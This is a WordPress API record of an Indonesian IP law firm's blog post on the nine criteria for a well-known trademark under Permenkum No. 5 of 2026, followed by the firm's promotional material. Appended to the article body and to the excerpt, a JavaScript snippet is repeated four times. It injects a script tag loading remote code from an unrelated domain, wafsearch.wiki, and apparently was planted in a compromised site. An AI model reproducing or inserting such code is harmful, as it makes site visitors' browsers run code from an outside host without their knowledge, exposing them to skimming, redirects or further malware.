{"id":6158,"date":"2026-04-16T06:43:59","date_gmt":"2026-04-16T06:43:59","guid":{"rendered":"https:\/\/affa.co.id\/?p=6158"},"modified":"2026-04-16T06:43:59","modified_gmt":"2026-04-16T06:43:59","slug":"9-kriteria-menentukan-merek-terkenal-di-indonesia-berdasarkan-permenkum-no-5-tahun-2026","status":"publish","type":"post","link":"https:\/\/affa.co.id\/bhs\/2026\/04\/16\/9-kriteria-menentukan-merek-terkenal-di-indonesia-berdasarkan-permenkum-no-5-tahun-2026\/","title":{"rendered":"9 Kriteria Menentukan \u201cMerek Terkenal\u201d di Indonesia Berdasarkan Permenkum No. 5 Tahun 2026"},"content":{"rendered":"<p><span style=\"font-weight: 400\"><span class=\"_aupe copyable-text xkrh14z\">Dalam pasar global yang semakin kompetitif, konsep Merek Terkenal<em><strong> (well-known mark)<\/strong> <\/em>memegang peranan penting dalam perlindungan Merek. Berbeda dengan Merek biasa, Merek Terkenal memperoleh perlindungan hukum yang lebih luas, bahkan terhadap barang atau jasa untuk kelas yang berbeda,<\/span>\u00a0karena sudah lebih dikenal publik, baik melalui nama maupun reputasinya.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Menyadari pentingnya hal itu, Indonesia telah menyempurnakan kerangka hukumnya melalui Peraturan Menteri Hukum No. 5 Tahun 2026, yang memberikan kriteria yang lebih jelas, dan terstruktur untuk menentukan apakah suatu Merek dapat dikategorikan sebagai Merek Terkenal.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Artikel ini menjabarkan poin-poin yang digunakan dalam Peraturan tersebut dalam menilai status Merek Terkenal di Indonesia.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Dasar Hukum Penentuan Merek Terkenal<\/b><\/p>\n<p><span style=\"font-weight: 400\">Dalam peraturan tersebut, kriteria dalam menentukan Merek Terkenal diatur pada Pasal 36. Dengan adanya sejumlah kriteria ini, penentuan Merek Terkenal tidak hanya bergantung pada satu indikator tunggal, tetapi menggunakan pendekatan penilaian multifaktor, sehingga pengakuan sebagai Merek Terkenal didasarkan pada pertimbangan yang lebih komprehensif dan objektif.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>9 Kriteria yang Menjadi Pertimbangan dalam Menentukan Merek Terkenal<\/b><\/p>\n<ol>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Tingkat pengetahuan atau pengakuan masyarakat terhadap Merek tersebut di bidang usaha yang bersangkutan sebagai Merek terkenal;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Volume penjualan barang dan\/atau jasa dan keuntungan yang diperoleh dari penggunaan merek tersebut oleh pemiliknya;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Pangsa pasar yang dikuasai oleh Merek tersebut dalam hubungannya dengan peredaran barang dan\/atau jasa di masyarakat;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Jangkauan daerah penggunaan Merek;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Jangka waktu penggunaan Merek;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Intensitas dan promosi Merek, termasuk nilai investasi yang dipergunakan untuk promosi tersebut;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Pendaftaran Merek atau Permohonan di negara lain;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Tingkat keberhasilan penegakan hukum di bidang Merek, khususnya mengenai pengakuan Merek tersebut sebagai Merek terkenal oleh lembaga yang berwenang; atau<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Nilai yang melekat pada Merek yang diperoleh karena reputasi dan jaminan kualitas barang dan\/atau jasa yang dilindungi oleh Merek tersebut.<\/span><\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><b>Pendekatan Penilaian Secara Menyeluruh<\/b><\/p>\n<p><span style=\"font-weight: 400\">Perlu ditekankan bahwa dengan mencantumkan kata \u201catau\u201d, maka Peraturan ini tidak mengharuskan semua kriteria terpenuhi secara bersamaan. Dengan demikian, penentuan Merek terkenal dilakukan melalui penilaian secara menyeluruh, dimana setiap faktor dianalisis sesuai dengan konteksnya dan menilai seluruh kekuatan pembuktian.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Pendekatan juga ini memberikan fleksibilitas pada otoritas untuk menyesuaikan dengan berbagai sektor industri dan model bisnis.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Implikasi Pada Pemilik Merek<\/b><\/p>\n<p><span style=\"font-weight: 400\">Dengan adanya kriteria yang lebih jelas, Peraturan ini memberikan kepastian hukum yang lebih baik bagi pemilik Merek. Namun, hal ini juga menegaskan pesan strategis yang penting:<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><i><span style=\"font-weight: 400\">\u201cMenjadi Merek Terkenal bukanlah status administratif, melainkan hasil dari upaya bisnis, pemasaran, dan perlindungan hukum yang berkelanjutan.\u201d<\/span><\/i><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Untuk memperkuat posisi Merek Anda, maka disarankan untuk:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Berinvestasi secara konsisten dalam pembangunan Merek<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Memperluas jangkauan pasar.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Memastikan sudah melakukan pendaftaran dengan tepat.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Secara aktif menegakkan haknya jika dilanggar.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><b>Jika Anda membutuhkan informasi lebih lanjut terkait perlindungan Merek Terkenal di Indonesia atau manca negara, langsung hubungi kami melalui kanal berikut, dan dapatkan 15 menit konsultasi GRATIS:<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udce9 E-Mail<\/span> <span style=\"font-weight: 400\">: trademark@affa.co.id<\/span><\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udcde Book a Call<\/span> <span style=\"font-weight: 400\">: +62 21 83793812<\/span><\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udcac WhatsApp<\/span> <span style=\"font-weight: 400\">: +62 812 87000 889<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Tentang AFFA: <\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Didirikan pada tahun 1999, AFFA Intellectual Property Rights adalah firma hukum Kekayaan Intelektual (KI) yang berbasis di Indonesia, dengan fokus pada layanan spesifik terkait KI, yang memberikan pendampingan komprehensif kepada Merek dan inovator internasional. AFFA menyediakan layanan terpadu mulai dari pengajuan dan pendaftaran KI, penyusunan dan pencatatan perjanjian lisensi, penegakan hukum atas pelanggaran, hingga komersialisasi KI, dalam lanskap Kekayaan Intelektual Indonesia yang dinamis.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">AFFA telah memperoleh pengakuan luas atas kualitas dan konsistensi layanannya, antara lain melalui penghargaan <\/span><b><i>\u201cBest Boutique Law Firm in Indonesia\u201d<\/i><\/b> <span style=\"font-weight: 400\">dan <\/span><b><i>\u201cIP Enforcement Firm\u201d <\/i><\/b><span style=\"font-weight: 400\">dalam Indonesia Law Firm Awards 2025 yang diselenggarakan oleh <\/span><b><i>Asia Business Law Journal<\/i><\/b><span style=\"font-weight: 400\">, serta tercatat sebagai <\/span><b><i>\u201cRecommended Firm 2024 \u2014 Indonesia\u201d <\/i><\/b><span style=\"font-weight: 400\">dalam publikasi <\/span><b><i>WTR 1000: The World\u2019s Leading Trademark Professionals<\/i><\/b><span style=\"font-weight: 400\">.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Informasi lebih lanjut mengenai AFFA dapat diakses melalui: <\/span><a href=\"http:\/\/www.affa.co.id\"><span style=\"font-weight: 400\">www.affa.co.id<\/span><\/a><span style=\"font-weight: 400\">.<\/span>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Dalam pasar global yang semakin kompetitif, konsep Merek Terkenal (well-known mark) memegang peranan penting dalam perlindungan Merek. Berbeda dengan Merek biasa, Merek Terkenal memperoleh perlindungan hukum yang lebih luas, bahkan terhadap barang atau jasa untuk kelas yang berbeda,\u00a0karena sudah lebih dikenal publik, baik melalui nama maupun reputasinya. &nbsp; Menyadari pentingnya hal itu, Indonesia telah menyempurnakan kerangka hukumnya melalui Peraturan Menteri Hukum No. 5 Tahun 2026, yang memberikan kriteria yang lebih jelas, dan terstruktur untuk menentukan apakah suatu Merek dapat dikategorikan sebagai Merek Terkenal. &nbsp; Artikel ini menjabarkan poin-poin yang digunakan dalam Peraturan tersebut dalam menilai status Merek Terkenal di Indonesia. &nbsp; Dasar Hukum Penentuan Merek Terkenal Dalam peraturan tersebut, kriteria dalam menentukan Merek Terkenal diatur pada Pasal 36. Dengan adanya sejumlah kriteria ini, penentuan Merek Terkenal tidak hanya bergantung pada satu indikator tunggal, tetapi menggunakan pendekatan penilaian multifaktor, sehingga pengakuan sebagai Merek Terkenal didasarkan pada pertimbangan yang lebih komprehensif dan objektif. &nbsp; 9 Kriteria yang Menjadi Pertimbangan dalam Menentukan Merek Terkenal Tingkat pengetahuan atau pengakuan masyarakat terhadap Merek tersebut di bidang usaha yang bersangkutan sebagai Merek terkenal; Volume penjualan barang dan\/atau jasa dan keuntungan yang diperoleh dari penggunaan merek tersebut oleh pemiliknya; Pangsa pasar yang dikuasai oleh Merek tersebut dalam hubungannya dengan peredaran barang dan\/atau jasa di masyarakat; Jangkauan daerah penggunaan Merek; Jangka waktu penggunaan Merek; Intensitas dan promosi Merek, termasuk nilai investasi yang dipergunakan untuk promosi tersebut; Pendaftaran Merek atau Permohonan di negara lain; Tingkat keberhasilan penegakan hukum di bidang Merek, khususnya mengenai pengakuan Merek tersebut sebagai Merek terkenal oleh lembaga yang berwenang; atau Nilai yang melekat pada Merek yang diperoleh karena reputasi dan jaminan kualitas barang dan\/atau jasa yang dilindungi oleh Merek tersebut. &nbsp; Pendekatan Penilaian Secara Menyeluruh Perlu ditekankan bahwa dengan mencantumkan kata \u201catau\u201d, maka Peraturan ini tidak mengharuskan semua kriteria terpenuhi secara bersamaan. Dengan demikian, penentuan Merek terkenal dilakukan melalui penilaian secara menyeluruh, dimana setiap faktor dianalisis sesuai dengan konteksnya dan menilai seluruh kekuatan pembuktian. &nbsp; Pendekatan juga ini memberikan fleksibilitas pada otoritas untuk menyesuaikan dengan berbagai sektor industri dan model bisnis. &nbsp; Implikasi Pada Pemilik Merek Dengan adanya kriteria yang lebih jelas, Peraturan ini memberikan kepastian hukum yang lebih baik bagi pemilik Merek. Namun, hal ini juga menegaskan pesan strategis yang penting: &nbsp; \u201cMenjadi Merek Terkenal bukanlah status administratif, melainkan hasil dari upaya bisnis, pemasaran, dan perlindungan hukum yang berkelanjutan.\u201d &nbsp; Untuk memperkuat posisi Merek Anda, maka disarankan untuk: Berinvestasi secara konsisten dalam pembangunan Merek Memperluas jangkauan pasar. Memastikan sudah melakukan pendaftaran dengan tepat. Secara aktif menegakkan haknya jika dilanggar. &nbsp; Jika Anda membutuhkan informasi lebih lanjut terkait perlindungan Merek Terkenal di Indonesia atau manca negara, langsung hubungi kami melalui kanal berikut, dan dapatkan 15 menit konsultasi GRATIS: &nbsp; \ud83d\udce9 E-Mail : trademark@affa.co.id \ud83d\udcde Book a Call : +62 21 83793812 \ud83d\udcac WhatsApp : +62 812 87000 889 &nbsp; Tentang AFFA: Didirikan pada tahun 1999, AFFA Intellectual Property Rights adalah firma hukum Kekayaan Intelektual (KI) yang berbasis di Indonesia, dengan fokus pada layanan spesifik terkait KI, yang memberikan pendampingan komprehensif kepada Merek dan inovator internasional. AFFA menyediakan layanan terpadu mulai dari pengajuan dan pendaftaran KI, penyusunan dan pencatatan perjanjian lisensi, penegakan hukum atas pelanggaran, hingga komersialisasi KI, dalam lanskap Kekayaan Intelektual Indonesia yang dinamis. &nbsp; AFFA telah memperoleh pengakuan luas atas kualitas dan konsistensi layanannya, antara lain melalui penghargaan \u201cBest Boutique Law Firm in Indonesia\u201d dan \u201cIP Enforcement Firm\u201d dalam Indonesia Law Firm Awards 2025 yang diselenggarakan oleh Asia Business Law Journal, serta tercatat sebagai \u201cRecommended Firm 2024 \u2014 Indonesia\u201d dalam publikasi WTR 1000: The World\u2019s Leading Trademark Professionals. Informasi lebih lanjut mengenai AFFA dapat diakses melalui: www.affa.co.id.var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":1,"featured_media":6159,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277,279],"tags":[531,609,610,618,619,298,620,305,669,306,670,307,308,309,310,314,315,317,318],"class_list":["post-6158","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","category-trademark","tag-regulasi","tag-indonesia-trademark-registration","tag-overseas-trademark","tag-indonesia-copyright-registration","tag-indonesia-industrial-design-registration","tag-merek","tag-indonesia-patent-registration","tag-affa","tag-peraturan","tag-affa-ipr","tag-permenkum","tag-intellectual-property","tag-ip","tag-kekayaan-intelektual","tag-ki","tag-your-ip-is-our-expertise","tag-merek-indonesia-bisa","tag-timing-is-everything","tag-trademark"],"_links":{"self":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/6158","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=6158"}],"version-history":[{"count":0,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/6158\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/6159"}],"wp:attachment":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=6158"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=6158"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=6158"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}